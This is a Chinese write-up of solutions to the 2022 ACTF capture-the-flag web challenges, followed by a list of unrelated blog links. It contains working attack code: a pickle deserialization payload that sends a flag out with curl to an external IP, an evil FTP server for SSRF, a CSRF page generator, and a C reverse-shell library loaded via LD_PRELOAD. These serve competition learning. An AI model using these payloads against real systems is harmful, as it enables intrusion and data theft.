【2022 ACTF-wp】
2022 ACTF-wp
- Web
- ToLeSion
- beWhatYouWannaBe
- gogogo
- poorui
- Misc
- Signin
- 麻将
- safer-telegram-bot-1
- Crypto
- impossible RSA
- RSA LEAK
- Re
- dropper
- Pwn
- 2048
- Tree
- Tip
Web
ToLeSion
分析源码可以发现只留了ftps和http协议又没有crlf 那就只能是ftps打ssrf了
首先要准备搭建
https://github.com/ZeddYu/TLS-poison
按readme安装就行
需要注意的是这个工具是通过取redis里名为payload的键值对来传递payload的(需要改Main.rs的代码 把redis://redis改为你本地的redis。
环境准备完以后你需要使用一个证书创建一个转发器 把11211端口的数据转发到2048端口。
target/debug/custom-tls -p 11211 --verbose --certs
/etc/nginx/ssl/ctf.edisec.net.pem --key
/etc/nginx/ssl/ctf.edisec.net.key forward 2048
开启转发后在2048端口起一个evil ftp 起evilftp就可以把redis中的payload转发到任意端口。
在本题中流程是
pycurl→ftps→tls→ftp→memcache
因为使用memcache存储session的话是存在反序列化的,先整一个反序列化的poc。
import pickle
import os
import memcache
mc = memcache.Client(["127.0.0.1:11202"],debug=True)class A(object):def __reduce__(self):cmd = "curl -F a=$(/readflag) 36.255.221.156:9999" #命令return (os.system,(cmd,))
a = A()
pickle_a = pickle.dumps(a)#序列化
print(pickle_a,len(pickle_a))mc.set("actfSession:suanve",pickle_a)
mc.set("actfSession:suanve",'')
# pickle.loads(pickle_a) #反序列化时触发了代码执行
我们把set actfSession:suanve 0 0 80 \r\n poc\r\n存到redis里 然后转发数据到11200即可。
!/usr/bin/env python3
import socketserver, threading,sys
import redis
r = redis.Redis(host='127.0.0.1', port=16379, db=0)
cmd = b"\x80\x04\x95B\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c'curl -F a=$(/readflag) 36.255.221.156:9999\x94\x85\x94R\x94."
cmd = b'\x80\x04\x95E\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c*curl -F a=$(/readflag) 36.255.221.156:9999\x94\x85\x94R\x94.'
print(len(cmd))
payload = b"\r\nset "+ b"actfSession:suanve1"+ b" 0 0 80 \r\n"+cmd+b'\r\n'
print('payload len: ', len(payload), file=sys.stderr)
#assert len(payload) <= 32
r.set('payload', payload)
class MyTCPHandler(socketserver.StreamRequestHandler):def handle(self):print('[+] connected', self.request, file=sys.stderr)self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr,flush=True)self.request.sendall(b'230 Login successful.\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)self.request.sendall(b'200 yolo\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)self.request.sendall(b'200 yolo\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)self.request.sendall(b'257 "/" is the current directory\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')#self.request.sendall(b'227 Entering Passive Mode (120,26,59,137,43,194)\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)#self.request.sendall(b'227 Entering Passive Mode (120,26,59,137,43,194)\r\n')self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)self.request.sendall(b'200 Switching to Binary mode.\r\n')self.request.sendall(b'213 7\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')self.data = self.rfile.readline().strip().decode()print(self.data, file=sys.stderr)# 226 Transfer complete.self.request.sendall(b'250 Requested file action okay, completed.')exit()
def ftp_worker():with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:while True:server.handle_request()
threading.Thread(target=ftp_worker).start()
先打了本地nc(这里是少了一个\r\n的图
然后就是先请求11211端口触发ssrf
curl "[http://123.60.131.135:10023/?url=ftps://ctf.edisec.net:11211/1](http://123.60.131.135:10023/?url=ftps://ctf.edisec.net:11211/1)"
然后带cookie访问
curl --cookie "session=suanve1" "[http://123.60.131.135:10023/?url=1](http://123.60.131.135:10023/?url=1)"
触发反序列化
ACTF{GO0d_jo6_y0u_Ar3_G0od_At_Tl3_p0i30n}
beWhatYouWannaBe
root@10-7-100-194:/var/www/html# while true;do node 1.js;done
不停的把当前时间戳转成csrf的token写成html
root@10-7-100-194:/var/www/html# cat 1.js
const crypto = require('crypto')
const fs = require('fs')
var sha256 = crypto.createHash('sha256')
const content = sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex')
const s = `<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script><form id="a" action="http://localhost:8000/beAdmin" method="POST"><input type="hidden" name="username" value="su" /><input type="hidden" name="csrftoken" value="`+content+`" /><input type="submit" value="Submit request" /></form>
</body>
<script>a.submit();</script>
</html>
`
fs.writeFile('4.html', s, err => {if (err) {console.error(err)return}
})
用burp不停的爆破
提升当前用户为管理员
可得到前一段flagACTF{3asy_csrf_a
剩下一层就是构造一个多层的关系
<iframename="fff"srcdoc="<iframe srcdoc='<input id=aaa name=ggg value=this_is_what_i_want><input id=aaa>' name=lll>"
></iframe>
发送即可
ACTF{3asy_csrf_and_bypass_stup1d_tok3n_g3n3rator_and_use_d0m_clobberring!!!}
gogogo
https://tttang.com/archive/1399/
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="36.255.221.156";
uint32_t server_port=1234;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{//socket initializeint sock = socket(AF_INET, SOCK_STREAM, 0);struct sockaddr_in attacker_addr = {0};attacker_addr.sin_family = AF_INET;attacker_addr.sin_port = htons(server_port);attacker_addr.sin_addr.s_addr = inet_addr(server_ip);//connect to the serverif(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)exit(0);//dup the socket to stdin, stdout and stderrdup2(sock, 0);dup2(sock, 1);dup2(sock, 2);//execute /bin/sh to get a shellexecve("/bin/bash", 0, 0);
}
gcc -s hack.c -fPIC -shared -o hack[.so](http://1.so/)
curl -x [http://127.0.0.1:8080](http://127.0.0.1:8080/) -X POST [http://127.0.0.1:10218/cgi-bin/hello](http://127.0.0.1:10218/cgi-bin/hello) -F "LD_PRELOAD=/proc/self/fd/7" -F file='@hack.so'
抓包改size
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
poorui
登陆以后直接发getflag
ACTF{s0rry_for_4he_po0r_front3nd_ui_
【2022 ACTF-wp】相关推荐
- 【攻防世界 | WP】CAT
[攻防世界 | WP]CAT 解题步骤 分析 学习知识 URL编码 什么是URL编码 解题步骤 分析 打开页面查看 输入url后发现没有反应,而输入127.0.0.1这类ip地址后,出现了回显 发现u ...
- 【2022修复版】社群扫码进群活码引流完整运营源码/带视频搭建教程
搭建环境 1.环境Nginx MySQL 5.6 php7.2 php7.2安装扩展fileinfo redis Swoole sg11 服务器需要安装linux的系统, 安装上宝塔,在配置这些环境就 ...
- 【2022秋招】IC设计/FPGA开发秋招经历总结(2)——公司专题
接上篇~ [2022秋招]IC设计/FPGA开发秋招经历总结_Richie_L的博客-CSDN博客 笔者的意向岗位是数字IC/FPGA,项目经历有FPGA相关,涉及信号处理以及单片机等.目前笔者的面试 ...
- 【2022保研】双非上岸东南网安
[2022保研]双非上岸东南网安 今天是2022年10月14日,距离928保研结束已经半个多月了,之前一直想写一篇博客来记录自己的保研历程,一直摆烂拖到现在,感觉这半个月像是报复性摆烂一点都不想学习, ...
- 【2022.1.3】手脱压缩壳练习(含练习exe)
[2022.1.3]手脱压缩壳练习(含练习exe) 文章目录 [2022.1.3]手脱压缩壳练习(含练习exe) 0.简介 1.单步跟踪法 (#)方法介绍 (0)练习exe下载 (1).查看源程序 ( ...
- 【2022前端面试】CSS手写面试题汇总(加紧收藏)
[2022前端面试]CSS手写面试题汇总(加紧收藏) 更新时间:2022年3月3日 把答案一起写上,但是希望大家在看之前思考一下,如果有好的建议,跪求改正! 本文致力于建设前端面试题库,欢迎兄弟们投稿 ...
- 【2022.05.31】大学本科毕业总结,再见北理工
[2022.05.31]大学本科毕业总结,再见北理工 今天顺利完成答辩,成功毕业成为无业游民(doge) 一时思绪万千,感觉前几天才刚入学,今天四年已结束就已经毕业 答辩完身上的包袱感觉少很多,但是也 ...
- CSDN APP发布富文本、MarkDown编辑器;社区动态支持快转……【2022.1.19】
hello,大家好,这里是「CSDN产品周报」第25期.本次更新主要涉及CSDN APP,欢迎大家详细了解和使用. CSDN APP 最新版本发布 1.重磅发布富文本.Markdown 编辑器,移动端 ...
- _signature、X-Bogus、msToken生成【2022.12.16】全站通用X-Bogus
本文以教学为基准.本文提供的可操作性不得用于任何商业用途和违法违规场景. 本人对任何原因在使用本人中提供的代码和策略时可能对用户自己或他人造成的任何形式的损失和伤害不承担责任. 包含关注,点赞等 没露 ...
- 【2022最新版】Linux面试题总结(48道题含答案解析)
文章目录 1.绝对路径用什么符号表示?当前目录.上层目录用什么表示?主目录用什么表示? 切换目录用什么命令? 2.怎么查看当前进程?怎么执行退出?怎么查看当前路径? 3.怎么清屏?怎么退出当前命令?怎 ...
最新文章
- 达观数据于敬:个性化推荐系统实践
- mariadb数据库备份与恢复
- 硬件编程:77条STM32知识汇总
- php 批量修改mysql 数据表,字段 字符集编码
- React Native在Android当中实践(五)——常见问题
- codeforces 271A-C语言解题报告
- openerp mac os 下 报表中文乱码问题。
- CSS中scoped的作用
- 小书匠编辑器使用手册
- 线性回归的从零开始实现-08-p3
- /proc/cpuinfo文件分析(查看CPU信息)
- 读取文本节点_Python文本处理教程(2)
- java中构造器的调用顺序
- 在服务器应用虚拟化中发现价值
- 电脑玩CF、DNF、LOL等游戏掉帧.卡顿.黑屏怎么办?驱动人生十大游戏检测图文教程
- 数据时代建设医疗数据,主要有哪些意义?
- 区块链之搭建区块链平台及智能合约的编写
- Linux内核“问题门”——学习问题、经验集锦(持续更新中……)
- 基于JAVA宠物托管系统计算机毕业设计源码+系统+lw文档+部署
- 穷养儿富养女 很多人都不知道这句话的真正含义
热门文章
- notification 发送通知后顶栏的小图标不对,为纯白色而不是设置的smallIcon 的原因
- 简单理解工作量单位:人月、人日、人时
- LogAnomaly: Unsupervised Detection of Sequential and Quantitative Anomalies in Unstructured Logs
- pythonsin怎么表示_Python numpy.sin()用法及代码示例
- CF 815C 树形背包
- CF 1437C Chef Monocarp (背包dp)
- nuc8 macos12升级测试
- dlang,不必要串插件的类型提升.
- 无法将数值apsdaemon写入键
- 成都博兰科技有限公司助宝兰网进入云贵川渝市场 www.beylai.com